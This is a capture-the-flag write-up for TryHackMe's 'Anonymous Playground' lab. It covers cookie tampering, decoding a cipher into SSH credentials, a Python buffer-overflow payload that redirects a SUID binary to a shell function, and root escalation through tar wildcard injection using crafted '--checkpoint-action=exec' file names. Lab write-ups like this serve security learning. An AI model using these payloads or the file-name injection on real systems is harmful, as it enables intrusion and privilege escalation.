WriteUp — THM Anonymous playground

Jari Laurila
5 min readNov 8, 2020

Want to become part of Anonymous? They have a challenge for you. Can you get the flags and become an operative?

This is a writeup for TryHackMe room Anonymous Playground.

Reconnaissance

Start with nmap:

nmap -sC -sV -p- 10.10.47.16                
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-08 12:11 EET
Nmap scan report for 10.10.47.16
Host is up (0.072s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 60:b6:ad:4c:3e:f9:d2:ec:8b:cd:3b:45:a5:ac:5f:83 (RSA)
| 256 6f:9a:be:df:fc:95:a2:31:8f:db:e5:a2:da:8a:0c:3c (ECDSA)
|_ 256 e6:98:52:49:cf:f2:b8:65:d7:41:1c:83:2e:94:24:88 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/zYdHuAKjP
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Proving Grounds
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web server enumeration

robots.txt:

User-agent: *
Disallow: /zYdHuAKjP

navigating to the page displays access denied page:

The page also sets a cookie named access with a value of denied. Maybe it can be manipulated? Maybe set it to granted? The page changes:

Gaining access

Now I need to figure how to decode this. It looks like a username password combination.

hEzAdCfHzA::hEzAdCfHzAhAiJzAeIaDjBcBhHgAzAfHfN

I try various common ciphers but don’t find anything so eventually I look at a hint which says that

'zA' = 'a'

This can be applied to the cipher text to see some patterns:

hEzAdCfHzA::hEzAdCfHzAhAiJzAeIaDjBcBhHgAzAfHfN

Looking at the operatives page this matches to username magna. So we have some more info:

hE: m
dC: g
fH: n

Looks like it could be some sort of arithmetic operation. Let’s see if what happens by using letter numbers from https://www.worldometers.info/languages/how-many-letters-alphabet/

hE: 8 + 5 = 13 = m
dC: 4 + 3 = 7 = g
fH: 6 + 8 = 14 = n

Could do this by hand but better practice my Python skills:

With this info we get the password : __REDACTED__ and can try to login with ssh and grab the first user flag.

Reverse engineering

In the home directory of magna there is a binary with suid flag set. Time to figure out what it does. There is a note from Spooky:

Hey Magna,Check out this binary I made!  I've been practicing my skills in C so that I can get better at Reverse
Engineering and Malware Development. I think this is a really good start. See if you can break it!
P.S. I've had the admins install radare2 and gdb so you can debug and reverse it right here!Best,
Spooky

Looking at ltrace / strace I can see that it uses gets() to get an string and then exits. So maybe there is a buffer overflow possibility. Let’s download the binary to my own box and reverse it with Cutter.

The main program simply uses gets():

But there is also a more interesting function:

Too bad the setuid() is only to Spooky(1337). But let’s break the binary anyways.

The idea is to use a buffer overflow to manipulate the stack so that there is a function call to call_bash (0x0000000000400657). This address can be found using gdb:

Let’s open the program using gdb. When firing up gdb the first command should always be:

 set disassembly-flavor intel

Let’s take a look at the main code:

We need to craft a buffer so that when the stack allocated at main+4 (80 bytes) gets written to by gets() it also overwrites the current return address at top of stack of main function. It is used by ret (main+55) when returning from main function.

here we can see what value is pushed to stack at main+0 (rbp value). If we break just before gets() call at main+44 we can see the value in the stack:

Now we need to figure out exactly how long string this requires. It can be calculated but it’s easier to use tools. Let’s generate a unique string:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 130

Run the program with gdb and capture RBP:

Now we can find out the position in the pattern using:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 3363413263413163
[*] Exact match at offset 64

Ok, this is obviously the 64 bytes allocated at main+32. Sigh. So we can now craft the payload:

#!/usr/bin/env python
from struct import *

buf = ""
buf += "A"*64
buf += pack("<Q", 0x0000000000400657)
print (buf)

And run it:

magna@anonymous-playground:~$ ( python pay.py; cat )  | ./hacktheworld 
Who do you want to hack?
We are Anonymous.
We are Legion.
We do not forgive.
We do not forget.
[Message corrupted]...Well...done.
whoami
spooky

Now I can grab the second flag and move to rooting the box.

Privesc

I don’t know spooky’s password so cannot check sudo. I do Linpeas enumeration instead. It identifies a potential PE vector: A cronjob running every minute as root and there is a wildcard:

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin*/1 *   * * *   root    cd /home/spooky && tar -zcf /var/backups/spooky.tgz *

A quick google reveals how to exploit this: https://www.exploit-db.com/papers/33930

Basically touch a couple files (didn’t get touch to work so used echo).

echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"

and create a shell script to do what you want. I grabbed a reverse shell from pentestmonkey. I did try other stuff like chmod, useradd and cp but didn’t get them to work so in the end it was a Python reverse shell that did the trick.

What a great room! I feel I learned a lot. Got to practice buffer overflows and a new PE vector.

--

--